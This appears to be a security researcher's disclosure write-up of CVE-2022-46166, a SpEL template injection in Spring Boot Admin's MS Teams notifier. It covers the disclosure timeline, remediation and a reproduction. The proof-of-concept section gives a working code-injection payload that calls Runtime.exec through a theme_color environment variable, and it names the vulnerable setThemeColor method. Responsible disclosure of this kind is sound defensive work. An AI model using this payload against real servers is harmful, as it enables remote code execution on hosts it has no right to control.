← Research
CVE-2022-46166GHSA-w3x5-427h-wfq6CWE-94

Template injection in Spring Boot Admin

Remote code execution through a notification setting. CWE-94: Improper Control of Generation of Code ('Code Injection').

Tim Conrad · · Java · Spring Boot · Template injection

Disclosure timeline

The communication was very professional and fast from codecentric:

  • Notification of vulnerability via e-mail
  • Confirmation of the vulnerability
  • GitHub Security Advisory and CVE assignment
  • Disclosure coordination and confirmation of this blog with codecentric

Asset

Prerequisites

  • Authenticated user
  • Notification support enabled for Teams (potentially others)

Issue

The Spring Boot Admin application allows code to be evaluated via a dynamic Spring Boot environment variable that can be controlled from within the web application. This allows an attacker with access to the application to run arbitrary code on the host.

Summary of the attack steps:

  1. Build the servlet application with MS Teams notify support.
  2. Create an environment variable with a Java gadget via the app.
  3. Trigger an event for notification.
  4. The code injection gets executed.

Important

The following proof of concept shows only the easiest way to abuse this feature. Other ways may be possible, which could reduce the given prerequisites.

A scenario that should be checked is:

  1. A CustomNotifier that notifies for unauthorized login events of the auditevents endpoint.
  2. A user could wish to log the username of a failed authentication.
  3. The attacker-controlled username could contain a Java gadget, which then gets executed.
  4. This would result in an unauthenticated remote code execution.

Proof of concept

Clone the Spring Boot Admin application:

sh
git clone https://github.com/codecentric/spring-boot-admin.git

We will use the sample servlet application in the repository to create the test candidate for the research.

Add the following to the file spring-boot-admin-samples/spring-boot-admin-sample-servlet/src/main/resources/application.yml:

application.yml
  boot:    admin:      notify:        ms-teams:          webhook-url: "http://localhost:8081"

This enables the MS Teams notification feature.

As I don't have a valid Teams subscription to add an actual webhook, we will just use any localhost address and accept the errors thrown by the application.

We build the application with:

sh
./mvnw clean package

After everything is finished, we start the app with:

sh
cd spring-boot-admin-samples/spring-boot-admin-sample-servlet/targetjava -jar spring-boot-admin-sample-servlet.jar

This starts the servlet, and the UI can be accessed at http://localhost:8080. The username and password are user:password, as detailed in the application.yml file we changed before.

Log in and open the Environment tab for the instance.

The Environment tab of Spring Boot Admin, with the environment manager form for adding a property name and value.
http://localhost:8080/instances/a10163509cb8/env

Add the following environment variable:

Property name
spring.boot.admin.notify.ms-teams.theme_color
Value
#{T(java.lang.Runtime).getRuntime().exec('open -a calculator')}

The Java gadget opens the calculator on macOS. For Linux or Windows, the payload can easily be adapted.

Update and refresh the context.

Now you need to trigger a notification. The easiest way is to delete the application.

The Applications list in Spring Boot Admin, showing the registered application and its delete control.
http://localhost:8080/applications

The following recording demonstrates the exploit:

Deleting the application triggers the notification, and the calculator opens.

The vulnerable code can be found here:

MicrosoftTeamsNotifier.java
public void setThemeColor(String themeColor) {  this.themeColor = parser.parseExpression(themeColor, ParserContext.TEMPLATE_EXPRESSION);}

Remediation

For the remediation, review the patch here.

The org.springframework.expression.spel.support.SimpleEvaluationContext class (see docs) replaces the org.springframework.expression.spel.support.StandardEvaluationContext class.

In many cases, the full extent of the SpEL language is not required and should be meaningfully restricted. Examples include but are not limited to data binding expressions, property-based filters, and others. To that effect, SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.

PGP key Front page